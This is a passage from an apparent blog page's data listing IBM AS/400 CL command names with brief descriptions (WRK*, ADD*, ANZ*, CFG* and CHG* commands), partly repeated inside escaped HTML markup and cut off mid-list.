WRKRJESSN Work with RJE Session WRKRMTDFN Work with Remote Definitions WRKRPYLE Work with Reply List Entries WRKRTDCFG Work with RouteD Configuration WRKS36 Work with S/36 Configuration WRKS36PGMA Work with S/36 Program Attr WRKS36PRCA Work with S/36 Procedure Attr WRKS36SRCA Work with S/36 Source Attr WRKSBMJOB Work with Submitted Jobs WRKSBS Work with Subsystems WRKSBSD Work with Subsystem Desc WRKSBSJOB Work with Subsystem Jobs WRKSCHIDX Work with Search Indexes WRKSCHIDXE Work Search Index Entry WRKSHRPOOL Work with Shared Storage Pools WRKSOC Work with Sphere of Control WRKSPADCT Work with Spelling Aid Dict WRKSPLF Work with Spooled Files WRKSPLFA Work with Spooled File Attr WRKSRVPGM Work with Service Program WRKSRVPVD Work with Service Providers WRKSRVTBLE Work with Service Table Entry WRKSSND Work with Session Description WRKSYSACT Work with System Activity WRKSYSSTS Work with System Status WRKSYSVAL Work with System Value WRKTAPCTG Work with Tape Cartridge WRKTBL Work with Tables WRKTCPPTP Work with Point-to-Point TCPIP WRKTCPSTS Work with TCP/IP Network Sts WRKTIE Work with TIE WRKUSRJOB Work with User Jobs WRKUSRPRF Work with User Profiles WRKUSRTBL Work with User Tables WRKWTR Work with Writers ","permalink":"https://www.deepreflect.net/2010/07/26/as400-commands/","summary":"\u003cp\u003e\u003cem\u003eAS400 Commands\u003c/em\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDACC Add Access Code\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDAJE Add Autostart Job Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDALRACNE Add Alert Action Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDALRD Add Alert Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDALRSLTE Add Alert Selection Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDAUTLE Add Authorization List Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDBKP Add Breakpoint\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDBNDDIRE Add Binding Directory Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDCCTRTE Add Circuit Route\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDCCTSRV Add Circuit Service\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDCFGLE Add Configuration List Entries\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDCMNE Add Communications Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDCNNLE Add Connection List Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDCOMSNMP Add Community for SNMP\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDDIRE Add Directory Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDACC Add Access Code\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDAJE Add Autostart Job Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDALRACNE Add Alert Action Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDALRD Add Alert Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDALRSLTE Add Alert Selection Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDAUTLE Add Authorization List Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDBKP Add Breakpoint\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDBNDDIRE Add Binding Directory Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDCCTRTE Add Circuit Route\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDCCTSRV Add Circuit Service\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDCFGLE Add Configuration List Entries\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDCMNE Add Communications Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDCNNLE Add Connection List Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDCOMSNMP Add Community for SNMP\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDDIRE Add Directory Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDDIRSHD Add Directory Shadow System\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDDLOAUT Add DLO Authority\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDDSTLE Add Distribution List Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDDSTQ Add Distribution Queue\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDDSTRTE Add Distribution Route\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDDSTSYSN Add Secondary System Name\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDDTADFN Add Data Definition\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDEMLCFGE Add Configuration Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDENVVAR Add Environment Variable\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDEWCBCDE Add EWC Barcode Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDEWCM Add Wireless Ctl Member\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDEWCPTCE Add EWC PTC Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDEWLM Add Wireless Line Member\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDEXITPGM Add Exit Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDFCTE Add Forms Control Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDFNTTBLE Add Font Table Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDICFDEVE Add ICF Device Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDIPIADR Add IP over IPX Address\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDIPIIFC Add IP over IPX Interface\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDIPIRTE Add IP over IPX Route\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDIPSIFC Add IP over SNA Interface\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDIPSLOC Add IP over SNA Location\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDIPSRTE Add IP over SNA Route\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDIPXCCT Add IPX Circuit\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDJOBJS Add Job using Job Scheduler\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDJOBQE Add Job Queue Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDJOBSCDE Add Job Schedule Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDLANADPI Add LAN Adapter Information\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDLFM Add Logical File Member\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDLIBLE Add Library List Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDLICKEY Add License Key Information\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDLNK Add Link\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDMFS Add Mounted FS\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDMSGD Add Message Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDNCK Add Nickname\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDNETJOBE Add Network Job Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDNETTBLE Add Network Table Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDNODLE Add Node List Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDNWSSTGL Add Server Storage Link\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDOPTCTG Add Optical Cartridge\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDOPTSVR Add Optical Server\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDPCLTBLE Add Protocol Table Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDPEXDFN Add PEX Definition\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDPFCST Add PF Constraint\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDPFM Add Physical File Member\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDPFRCOL Add Performance Collection\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDPFTRG Add Physical File Trigger\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDPFVLM Add Phy File Variable Len Mbr\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDPGM Add Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDPJE Add Prestart Job Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDPRBACNE Add Problem Action Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDPRBSLTE Add Problem Selection Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDRDBDIRE Add RDB Directory Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDREXBUF Add REXX Buffer\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDRJECMNE Add RJE Communication Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDRJERDRE Add RJE Reader Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDRJEWTRE Add RJE Writer Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDRMTDFN Add Remote Definition\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDRMTSVR Add Remote Server\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDRPYLE Add Reply List Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDRTGE Add Routing Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDSCHIDXE Add Search Index Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDSNILOC Add SNA over IPX Location\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDSOCE Add Sphere of Control Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDSRVTBLE Add Service Table Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDTAPCTG Add Tape Cartridge\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDTCPHTE Add TCP/IP Host Table Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDTCPIFC Add TCP/IP Interface\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDTCPLNK Add TCP/IP Link\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDTCPPORT Add TCP/IP Port Restriction\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDTCPRSI Add TCP/IP Remote System\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDTCPRTE Add TCP/IP Route\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDTRC Add Trace\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eADDWSE Add Work Station Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eALCOBJ Allocate Object\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eANSLIN Answer Line\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eANSQST Answer Questions\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eANZACCGRP Analyze Process Access Group\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eANZBESTMDL Analyze BEST/1 Model\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eANZDBF Analyze Database Files\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eANZDBFKEY Analyze Database File Keys\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eANZDFTPWD Analyze Default Passwords\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eANZPFRDTA Analyze Performance Data\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eANZPGM Analyze Programs\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eANZPRB Analyze Problem\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eANZPRFACT Analyze Profile Activity\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eANZQRY Analyze Query\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eANZS34OCL Analyze S/34 OCL\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eANZS36OCL System/36 OCL Analysis\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eANZUSROBJ ANALYZE USER OBJECTS\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAPING Verify APPC Connection\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAPYJRNCHG Apply Journaled Changes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAPYPTF Apply Program Temporary Fix\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAREXEC Run Remote Command\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eASKQST Ask Question\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eBCHJOB Batch Job\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCALL Call Program\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCALLPRC Call Bound Procedure\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCD Change Current Directory\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCFGDEVMLB Configure Device Media Library\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCFGDSTSRV Configure Distribution Service\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCFGIPI Configure IPI\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCFGIPS Configure IP over SNA\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCFGIPX Configure IPX\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCFGRPDS Configure VM/MVS Bridge\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCFGSYSSEC Configure System Security\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCFGTCP Configure TCP/IP\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCFGTCPAPP Configure TCP/IP Applications\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCFGTCPBP Configure TCP/IP BOOTP\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCFGTCPFTP Configure TCP/IP FTP\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCFGTCPHTTP Configure TCP/IP HTTP\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCFGTCPLPD Configure TCP/IP LPD\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCFGTCPPTP Configure Point-to-Point TCPIP\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCFGTCPRTD Configure TCP/IP RouteD\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCFGTCPRXC Configure TCP/IP REXEC\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCFGTCPSMTP Configure TCP/IP SMTP\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCFGTCPSNMP Configure TCP/IP SNMP\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCFGTCPTELN Configure TCP/IP TELNET\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCFGTCPWSG Configure TCP/IP Workstation\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHDIR Change Current Directory\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGACGCDE Change Accounting Code\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGACTPRFL Change Active Profile List\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGACTSCDE Change Activation Scd Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGAJE Change Autostart Job Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGALRACNE Change Alert Action Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGALRD Change Alert Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGALRSLTE Change Alert Selection Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGALRTBL Change Alert Table\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGAUD Change Auditing Value\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGAUT Change Authority\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGAUTJS Change Job Authority using JS\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGAUTLE Change Auth List Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGBCKUP Change Backup Options\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGBPA Change BOOTP Attributes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGCCTRTE Change Circuit Route\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGCCTSRV Change Circuit Service\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGCFGL Change Configuration List\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGCFGLE Change Cfg List Entries\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGCLNUP Change Cleanup\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGCLS Change Class\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGCMD Change Command\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGCMDDFT Change Command Default\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGCMNE Change Communications Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGCNNL Change Connection List\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGCNNLE Change Connection List Entry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGCOMSNMP Change Community for SNMP\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGCOSD Change Class-of-Service Desc\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGCRQD Change CRQ Description\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGCSI Change Comm Side Information\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGCTLAPPC Change Ctl Desc (APPC)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGCTLASC Change Ctl Desc (Async)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGCTLBSC Change Ctl Desc (BSC)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGCTLFNC Change Ctl Desc (Finance)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGCTLHOST Change Ctl Desc (SNA Host)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGCTLLWS Change Ctl Desc (Local WS)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGCTLNET Change Ctl Desc (Network)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGCTLRTL Change Ctl Desc (Retail)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGCTLRWS Change Ctl Desc (Remote WS)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGCTLTAP Change Ctl Desc (Tape)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGCTLVWS Change Ctl Desc (Virtual WS)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGCURDIR Change Current Directory\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGCURLIB Change Current Library\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGDBG Change Debug\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGDDMF Change DDM File\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGDEVAPPC Change Device Desc (APPC)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGDEVASC Change Device Desc (Async)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGDEVBSC Change Device Desc (BSC)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGDEVDKT Change Device Desc (Diskette)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGDEVDSP Change Device Desc (Display)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGDEVFNC Change Device Desc (Finance)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGDEVHOST Change Device Desc (SNA Host)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCHGDEVINTR Change Device Desc (Intra)\n\u003c/span\u003e\u003c/span\u003e\u003cspan 